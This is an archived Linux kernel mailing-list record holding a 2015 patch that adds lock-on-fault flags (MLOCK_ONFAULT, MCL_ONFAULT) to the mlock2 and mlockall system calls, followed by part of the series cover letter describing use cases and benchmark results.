Lines: 293
Approved: news@gmane.org
Message-ID: <1437773325-8623-5-git-send-email-emunson@akamai.com>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1437773347 30677 80.91.229.3 (24 Jul 2015 21:29:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Jul 2015 21:29:07 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	"Kirill A. Shutemov" <kirill@shutemov.name>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Fri Jul 24 23:28:57 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZIkWW-0005Q5-38
	for glkm-linux-mm-2@m.gmane.org; Fri, 24 Jul 2015 23:28:56 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 781466B0253; Fri, 24 Jul 2015 17:28:52 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 75B2E9003C7; Fri, 24 Jul 2015 17:28:52 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 5AA836B0256; Fri, 24 Jul 2015 17:28:52 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f46.google.com (mail-qg0-f46.google.com [209.85.192.46])
	by kanga.kvack.org (Postfix) with ESMTP id 331B36B0253
	for <linux-mm@kvack.org>; Fri, 24 Jul 2015 17:28:52 -0400 (EDT)
Original-Received: by qgeu79 with SMTP id u79so16824996qge.1
        for <linux-mm@kvack.org>; Fri, 24 Jul 2015 14:28:52 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=6vtSCuqAwINxYp3NJmj28P8kT+oHKkE+5Av0L/Q0/Hg=;
        b=g8loWenLzDnvNzAm/g6big1TP8xxSms/4mScc6Dqs7Sxr9czoyK7sKzjVJ19eLyJrd
         CZ7sy9zIDwoE/9317FqHPn/e/rP1QKVlX+IGzqGYLR4grX1/p6Eay5mqP2PL+Jk1M+Ss
         /cdyxgXzlwoXQbRjPP1//QTthAxCJMGN/34KOmRIs0WJz3nYl7W4fdJDfjGKX2O+iSyV
         yQ82K30oxVcs1xsKO4grV+VjOcgvuj+zhG7oFiyxG4K0JFY4rXNswF+KxE8HumRngOvt
         WNq6CPuh4DKh/8HbMnszPGcix0yMKLcO6UtV62lwj58OO3O7OLoaY2ITgAM++E9It1L/
         g3aw==
X-Gm-Message-State: ALoCoQkT9rFyGuotT/h5Jm02sGCPsykQZuL/SkT94cOy9mJHp2Ez3pkosA4JxjjeEe9L48KcC/uGTkJ8W5tp7SmfH+MECvfpo/kn4zsF5M4zvlON/SwhHyWjSNKXxu8216KuCGr+P08p99XwTOq44aGhv38X0/fznYF1mDvjXuLG68KJoBe48msNF1DsS7ZY03/Lo7G/yXns
X-Received: by 10.140.144.131 with SMTP id 125mr24654061qhq.75.1437773332011;
        Fri, 24 Jul 2015 14:28:52 -0700 (PDT)
X-Received: by 10.140.144.131 with SMTP id 125mr24653696qhq.75.1437773328146;
        Fri, 24 Jul 2015 14:28:48 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com ([23.79.238.175])
        by mx.google.com with ESMTP id i26si11714438qkh.62.2015.07.24.14.28.47
        for <linux-mm@kvack.org>;
        Fri, 24 Jul 2015 14:28:48 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.175 as permitted sender) client-ip=23.79.238.175;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.175 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id D096C4E029;
	Fri, 24 Jul 2015 21:29:33 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id AED684E025;
	Fri, 24 Jul 2015 21:29:33 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437773373; bh=2ZvTafMSlkuOO03m3OJiLtKJxJIyzOgMHkg5+UaHOO4=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=eWmiSXSitEBSGPGawHL3f4TnHLRl71LRwFW3E7WiHEofs2gRTUlHylkvdMWxQjFSq
	 pn1QJ/G66N1CNkhEtesRKTDhqDAOEl+bfwq+CKaVqDGqRWIEDRyCHiyLLi7nGUfaEZ
	 EGxSTJ8/+2VqI19z/oGiGJjK0oL/ZWxmpigbyZpY=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.12.165])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 7D4AE80896;
	Fri, 24 Jul 2015 21:28:47 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1437773325-8623-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136311 gmane.linux.ports.alpha:3232 gmane.linux.kernel:2004449 gmane.linux.ports.mips.general:49571 gmane.linux.ports.parisc:25868 gmane.linux.ports.ppc64.devel:115806 gmane.linux.ports.sparc:21286 gmane.linux.kernel.cross-arch:28592 gmane.linux.kernel.api:13147
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136311>

The previous patch introduced a flag that specified pages in a VMA
should be placed on the unevictable LRU, but they should not be made
present when the area is created.  This patch adds the ability to set
this state via the new mlock system calls.

We add MLOCK_ONFAULT for mlock2 and MCL_ONFAULT for mlockall.
MLOCK_ONFAULT will set the VM_LOCKONFAULT flag as well as the VM_LOCKED
flag for the target region.  MCL_CURRENT and MCL_ONFAULT are used to
lock current mappings.  With MCL_CURRENT all pages are made present and
with MCL_ONFAULT they are locked when faulted in.  When specified with
MCL_FUTURE all new mappings will be marked with VM_LOCKONFAULT.

Currently, mlockall() clears all VMA lock flags and then sets the
requested flags.  For instance, if a process has MCL_FUTURE and
MCL_CURRENT set, but they want to clear MCL_FUTURE this would be
accomplished by calling mlockall(MCL_CURRENT).  This still holds with
the introduction of MCL_ONFAULT.  Each call to mlockall() resets all
VMA flags to the values specified in the current call.  The new mlock2
system call behaves in the same way.  If a region is locked with
MLOCK_ONFAULT and a user wants to force it to be populated now, a second
call to mlock2(MLOCK_LOCKED) will accomplish this.

munlock() will unconditionally clear both vma flags.  munlockall()
unconditionally clears for VMA flags on all VMAs and in the
mm->def_flags field.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: "Kirill A. Shutemov" <kirill@shutemov.name>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
Cc: linux-mm@kvack.org
---
Changes from V4:
* Split addition of VMA flag

Changes from V3:
* Do extensive search for VM_LOCKED and ensure that VM_LOCKONFAULT is also handled
 where appropriate
 arch/alpha/include/uapi/asm/mman.h   |  2 ++
 arch/mips/include/uapi/asm/mman.h    |  2 ++
 arch/parisc/include/uapi/asm/mman.h  |  2 ++
 arch/powerpc/include/uapi/asm/mman.h |  2 ++
 arch/sparc/include/uapi/asm/mman.h   |  2 ++
 arch/tile/include/uapi/asm/mman.h    |  3 +++
 arch/xtensa/include/uapi/asm/mman.h  |  2 ++
 include/uapi/asm-generic/mman.h      |  2 ++
 mm/mlock.c                           | 41 ++++++++++++++++++++++++------------
 9 files changed, 45 insertions(+), 13 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index ec72436..77ae8db 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -37,8 +37,10 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ONFAULT	32768		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index 67c1cdf..71ed81d 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -61,11 +61,13 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 /*
  * Flags for mlock
  */
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index daab994..c0871ce 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -31,8 +31,10 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 189e85f..f93f7eb 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,8 +22,10 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 13d51be..8cd2ebc 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,8 +17,10 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index f69ce48..acdd013 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -36,11 +36,14 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
 
 /*
  * Flags for mlock
  */
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 11f354f..5725a15 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -74,11 +74,13 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 /*
  * Flags for mlock
  */
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index 242436b..555aab0 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -17,7 +17,9 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/mm/mlock.c b/mm/mlock.c
index e98bdd4..3a99c80 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -506,7 +506,8 @@ static int mlock_fixup(struct vm_area_struct *vma, struct vm_area_struct **prev,
 
 	if (newflags == vma->vm_flags || (vma->vm_flags & VM_SPECIAL) ||
 	    is_vm_hugetlb_page(vma) || vma == get_gate_vma(current->mm))
-		goto out;	/* don't set VM_LOCKED,  don't count */
+		/* don't set VM_LOCKED or VM_LOCKONFAULT and don't count */
+		goto out;
 
 	pgoff = vma->vm_pgoff + ((start - vma->vm_start) >> PAGE_SHIFT);
 	*prev = vma_merge(mm, *prev, start, end, newflags, vma->anon_vma,
@@ -576,7 +577,7 @@ static int apply_vma_lock_flags(unsigned long start, size_t len,
 		prev = vma;
 
 	for (nstart = start ; ; ) {
-		vm_flags_t newflags = vma->vm_flags & ~VM_LOCKED;
+		vm_flags_t newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 		newflags |= flags;
 
 		/* Here we know that  vma->vm_start <= nstart < vma->vm_end. */
@@ -645,9 +646,13 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
 {
 	vm_flags_t vm_flags = VM_LOCKED;
-	if (!flags || (flags & ~(MLOCK_LOCKED)))
+	if (!flags || (flags & ~(MLOCK_LOCKED | MLOCK_ONFAULT)) ||
+	    flags == (MLOCK_LOCKED | MLOCK_ONFAULT))
 		return -EINVAL;
 
+	if (flags & MLOCK_ONFAULT)
+		vm_flags |= VM_LOCKONFAULT;
+
 	return do_mlock(start, len, vm_flags);
 }
 
@@ -668,21 +673,30 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 static int apply_mlockall_flags(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
+	vm_flags_t to_add = 0;
 
-	if (flags & MCL_FUTURE)
+	current->mm->def_flags &= ~(VM_LOCKED | VM_LOCKONFAULT);
+	if (flags & MCL_FUTURE) {
 		current->mm->def_flags |= VM_LOCKED;
-	else
-		current->mm->def_flags &= ~VM_LOCKED;
 
-	if (flags == MCL_FUTURE)
-		goto out;
+		if (flags == MCL_FUTURE)
+			goto out;
+
+		if (flags & MCL_ONFAULT)
+			current->mm->def_flags |= VM_LOCKONFAULT;
+	}
+
+	if (flags & (MCL_ONFAULT | MCL_CURRENT)) {
+		to_add |= VM_LOCKED;
+		if (flags & MCL_ONFAULT)
+			to_add |= VM_LOCKONFAULT;
+	}
 
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
-		if (flags & MCL_CURRENT)
-			newflags |= VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
+		newflags |= to_add;
 
 		/* Ignore errors */
 		mlock_fixup(vma, &prev, vma->vm_start, vma->vm_end, newflags);
@@ -697,7 +711,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT)) ||
+	    (flags & (MCL_CURRENT | MCL_ONFAULT)) == (MCL_CURRENT | MCL_ONFAULT))
 		goto out;
 
 	ret = -EPERM;
@@ -717,7 +732,7 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	    capable(CAP_IPC_LOCK))
 		ret = apply_mlockall_flags(flags);
 	up_write(&current->mm->mmap_sem);
-	if (!ret && (flags & MCL_CURRENT))
+	if (!ret && (flags & (MCL_CURRENT | MCL_ONFAULT)))
 		mm_populate(0, TASK_SIZE);
 out:
 	return ret;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V5 0/7] Allow user to request memory to be locked on page fault
Date: Fri, 24 Jul 2015 17:28:38 -0400
Lines: 216
Approved: news@gmane.org
Message-ID: <1437773325-8623-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1437773352 30724 80.91.229.3 (24 Jul 2015 21:29:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Jul 2015 21:29:12 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Fri Jul 24 23:28:57 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZIkWV-0005Lx-SR
	for glkm-linux-mm-2@m.gmane.org; Fri, 24 Jul 2015 23:28:56 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 50E466B0254; Fri, 24 Jul 2015 17:28:49 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 4C0076B0253; Fri, 24 Jul 2015 17:28:49 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3D5936B0254; Fri, 24 Jul 2015 17:28:49 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f47.google.com (mail-qg0-f47.google.com [209.85.192.47])
	by kanga.kvack.org (Postfix) with ESMTP id 13F306B0038
	for <linux-mm@kvack.org>; Fri, 24 Jul 2015 17:28:49 -0400 (EDT)
Original-Received: by qgy5 with SMTP id 5so16697376qgy.3
        for <linux-mm@kvack.org>; Fri, 24 Jul 2015 14:28:48 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id;
        bh=Q3X8fzUYFdRWIYHKkn0/xfLrj99MA4AcvpcGvKO8lEs=;
        b=f+v9QbK5H2hEJbjx/j0gVj0IgrEMlVjJkm/dr9Y1A50LhlEC5CnoGwf7AR3w7VwOgi
         0MhwVB6XJccO9TzwmqFTT9QXf2FjXvvq8DziR4B7Jqrc4sKFvr9UORGl0oYRvRZ2FwWc
         ZnwjpMgU6xYkfIXS0I4l/VgUZwKgfXUg6dYclrfJF6pqDepvl26US8sHxyTkPJ4GIXO2
         9dP4nEVcRCJBco91inRvtHrpun57+P7h4PjRFJeMttL/FCuPTT32oiLufHD9DrosFgVY
         SeqxozTxPPx66Lvc9UzZ4oRRYz0l0dHRMraTylwoT2hyMaT37Gg3klbPu+fNxN/DA8B1
         Z5oQ==
X-Gm-Message-State: ALoCoQmlFyeAGVBhRDryLf7rjFJitMNaCfzIi4/xxGjxtDIeT4mGbeRzb7FQH657Nn3MAam+lsZqkVTgY94yGvgU0iq5K7OpL8NRjHyOUlMkgO8JAz/g0bNszwVxqHeo4ndtnsn8dLaIIxS03t17YOS49tBuja3giSgVDrN3Og1Nklslgq9ajNJbh7Pipk2vJVwITYeiBc+x
X-Received: by 10.140.237.214 with SMTP id i205mr25339686qhc.31.1437773328894;
        Fri, 24 Jul 2015 14:28:48 -0700 (PDT)
X-Received: by 10.140.237.214 with SMTP id i205mr25339602qhc.31.1437773328023;
        Fri, 24 Jul 2015 14:28:48 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id v105si11719625qgd.47.2015.07.24.14.28.47
        for <linux-mm@kvack.org>;
        Fri, 24 Jul 2015 14:28:48 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 6DE6D298F9;
	Fri, 24 Jul 2015 21:28:47 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 40D75298F7;
	Fri, 24 Jul 2015 21:28:47 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437773327; bh=n6vKi5ysyWo5Imnkr5t5j4Eqz6vg66dF/csZOalX9F0=;
	h=From:To:Cc:Subject:Date:From;
	b=Sq6A/h/8N9mTCF1ktaoUh/ldXm+OWWFL2rpc6jDh6VD8MdrFPPYR18BoVEhNXh4sx
	 0YsMvPd8kXCyYHF80BrxND+hq2cSU6/5TJ3OaEXckWojCBW4mM8lm9Gn3kfDw+HSz2
	 hWshrNS1AlFIqgHep1sG7SGln6ZUcOMN09ep+8XM=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.12.165])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 3301D8088E;
	Fri, 24 Jul 2015 21:28:47 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136313 gmane.linux.ports.alpha:3233 gmane.linux.kernel:2004451 gmane.linux.ports.mips.general:49572 gmane.linux.ports.parisc:25869 gmane.linux.ports.ppc64.devel:115807 gmane.linux.ports.sparc:21287 gmane.linux.kernel.cross-arch:28593 gmane.linux.kernel.api:13148
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136313>

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.  Instead of forcing all locked pages to be present
when they are allocated, this set creates a middle ground.  Pages are
marked to be placed on the unevictable LRU (locked) when they are first
used, but they are not faulted in by the mlock call.

This series introduces a new mlock() system call that takes a flags
argument along with the start address and size.  This flags argument
gives the caller the ability to request memory be locked in the
traditional way, or to be locked after the page is faulted in.  A new
MCL flag is added to mirror the lock on fault behavior from mlock() in
mlockall().  Finally, a flag for mmap() is added that allows a user to
specify that the covered are should not be paged out, but only after the
memory has been used the first time.

There are two main use cases that this set covers.  The first is the
security focussed mlock case.  A buffer is needed that cannot be written
to swap.  The maximum size is known, but on average the memory used is
significantly less than this maximum.  With lock on fault, the buffer
is guaranteed to never be paged out without consuming the maximum size
every time such a buffer is created.

The second use case is focussed on performance.  Portions of a large
file are needed and we want to keep the used portions in memory once
accessed.  This is the case for large graphical models where the path
through the graph is not known until run time.  The entire graph is
unlikely to be used in a given invocation, but once a node has been
used it needs to stay resident for further processing.  Given these
constraints we have a number of options.  We can potentially waste a
large amount of memory by mlocking the entire region (this can also
cause a significant stall at startup as the entire file is read in).
We can mlock every page as we access them without tracking if the page
is already resident but this introduces large overhead for each access.
The third option is mapping the entire region with PROT_NONE and using
a signal handler for SIGSEGV to mprotect(PROT_READ) and mlock() the
needed page.  Doing this page at a time adds a significant performance
penalty.  Batching can be used to mitigate this overhead, but in order
to safely avoid trying to mprotect pages outside of the mapping, the
boundaries of each mapping to be used in this way must be tracked and
available to the signal handler.  This is precisely what the mm system
in the kernel should already be doing.

For mlock(MLOCK_ONFAULT) and mmap(MAP_LOCKONFAULT) the user is charged
against RLIMIT_MEMLOCK as if mlock(MLOCK_LOCKED) or mmap(MAP_LOCKED) was
used, so when the VMA is created not when the pages are faulted in.  For
mlockall(MCL_ONFAULT) the user is charged as if MCL_FUTURE was used.
This decision was made to keep the accounting checks out of the page
fault path.

To illustrate the benefit of this set I wrote a test program that mmaps
a 5 GB file filled with random data and then makes 15,000,000 accesses
to random addresses in that mapping.  The test program was run 20 times
for each setup.  Results are reported for two program portions, setup
and execution.  The setup phase is calling mmap and optionally mlock on
the entire region.  For most experiments this is trivial, but it
highlights the cost of faulting in the entire region.  Results are
averages across the 20 runs in milliseconds.

mmap with mlock(MLOCK_LOCKED) on entire range:
Setup avg:      8228.666
Processing avg: 8274.257

mmap with mlock(MLOCK_LOCKED) before each access:
Setup avg:      0.113
Processing avg: 90993.552

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.058
Processing avg: 69488.073
mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.068
Processing avg: 38204.116

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.044
Processing avg: 29671.180

mmap with mlock(MLOCK_ONFAULT) on entire range:
Setup avg:      0.189
Processing avg: 17904.899

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
